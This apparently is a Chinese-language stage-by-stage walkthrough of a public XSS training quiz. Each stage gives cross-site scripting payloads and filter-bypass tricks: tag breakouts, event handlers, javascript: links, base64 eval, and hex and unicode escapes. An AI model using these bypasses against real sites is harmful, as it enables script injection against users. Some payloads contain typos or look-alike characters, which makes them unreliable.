stage1
随便提交一个参数 查看HTML 发现提交的参数被b标签所包裹 构造payload
提交得到域名
stage2
提交参数 继续考虑闭合 标签
构造payload "><script>alert(document.domain);</script>
也可以通过js事件引入 onmouseover="alert(document.domain)>
onmouseover 事件会在鼠标指针移动到指定的元素上时发生。
提交 成功得到域名
stage 3
随便提交数据 查看前段代码 发先还是b标签闭合
抓包 修改p2参数
构造payload
</option><script>alert(document.domain)</script>
stage 4
修改hidden为text
通过抓包才发现有三个参数被提交
以下三种payload
stage 5
前端直接修改或者抓包绕过字数限制即可
stage 6
提交"><script>alert(document.domain)</script> 发现 < > 都被转义
所以考虑通过事件
stage 7
input 闭合查看源码发现被转化为字符串 js不能够被执行
事件触发payload
123" οnmοuseοver="alert(document.domain)
将这payload这一部分去掉分析
<input type="text" name="p1" size="50" value="value值 " "js事件 ">
所以构造
123 onmouseover=alert(document.domain)
stage 8
a标签插入 利用JavaScript伪协议
javascript:alert(document.domain) 点击url就可执行js代码
stage 9
现在浏览器已经不支持
stage 10
http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276
domain被过滤掉了 双写绕过 123"><script>alert(document.dodomainmain);</script>
或者编码绕过
将alert(docuemnt.domain)进行base64编码
最终payload应该为 "><script>eval(atob('YWxlcnQoZG9jdWVtbnQuZG9tYWluKQ=='));</script>
stage11
onmouseover被改为onxxx script被改为xscript
空格绕过
"><a href="java script:alert(document.domain);">xss</a>
stage15
16进双斜杠绕过
对<>进行了转义 传入x3c x3e 发现/被过滤掉 传入双斜杠可以成功绕过
payload 为
\x3cscript\x3ealert(document.domain);\x3c/script\x3e
stage16
js不仅可以识别16进制也可以识别unicode码
unicode双斜杠绕过
和上一关差不多 只是用了unicode码
\u003cscript\u003ealert(document.domain);\u003c/script\u003e